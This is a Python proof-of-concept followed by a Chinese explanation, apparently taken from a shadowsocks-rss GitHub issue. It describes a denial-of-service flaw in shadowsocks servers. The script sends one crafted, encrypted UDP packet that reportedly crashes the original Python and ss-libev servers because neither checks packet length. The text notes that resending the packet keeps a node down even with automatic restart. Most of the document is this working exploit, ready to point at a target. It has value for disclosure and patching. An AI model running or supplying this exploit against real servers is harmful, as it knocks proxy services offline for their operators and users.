(via https://github.com/breakwa11/shadowsocks-rss/issues/120 )
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2015 BreakWa11 from __future__ import absolute_import, division, print_function, \ with_statement import sys import os import time import socket import binascii sys.path.insert(0, os.path.join(os.path.dirname(__file__), '../')) from shadowsocks import encrypt, eventloop, shell, common class Relay: def __init__(self, password, method): self._password = password self._method = method self._encryptor = encrypt.Encryptor(password, method) self._remote_sock = None def create_remote_socket(self, ip): addrs = socket.getaddrinfo(ip, 0, 0, socket.SOCK_DGRAM, socket.SOL_UDP) if len(addrs) == 0: raise Exception("getaddrinfo failed") af, socktype, proto, canonname, sa = addrs[0] remote_sock = socket.socket(af, socktype, proto) self._remote_sock = remote_sock remote_sock.setblocking(False) return self def sendto(self, ip, port, data): addrs = socket.getaddrinfo(ip, port, 0, socket.SOCK_DGRAM, socket.SOL_UDP) af, socktype, proto, canonname, sa = addrs[0] print(sa) print(binascii.hexlify(data)) data = encrypt.encrypt_all(self._password, self._method, 1, data) print(binascii.hexlify(data)) self._remote_sock.sendto(data, sa) def close(self): self._remote_sock.close() self._remote_sock = None def main(ip, port, password, method): r = Relay(password, method) r.create_remote_socket(ip).sendto(ip, port, common.to_str('\x03\x0101')) time.sleep(1) r.close() if __name__ == '__main__': main('127.0.0.1', 8988, 'password', 'aes-256-cfb')
以上python代码修改main后的目标服务端参数,并保存于ss-python的shadowsocks目录下(有tcprelay.py和 udprelay.py的目录),然后用python运行这个代码,只要加密方式和密码等正确,目标服务器(含原版python后端,及ss-libev 服务端)开启了UDP服务,则会导致目标服务程序崩溃退出。
主要威胁对象:开启了UDP服务的原版(ssr版不受威胁)manyuser后端的各站(任何一个用户都有正确的密码可以发送特定的异常触发数据),即使服务端开启了自动重启,只要用户不断重发,则直接导致节点瘫痪。
原理:受影响的两服务端程序均没有对包长度做检查,特殊情况下能导致越界访问,从而使程序崩溃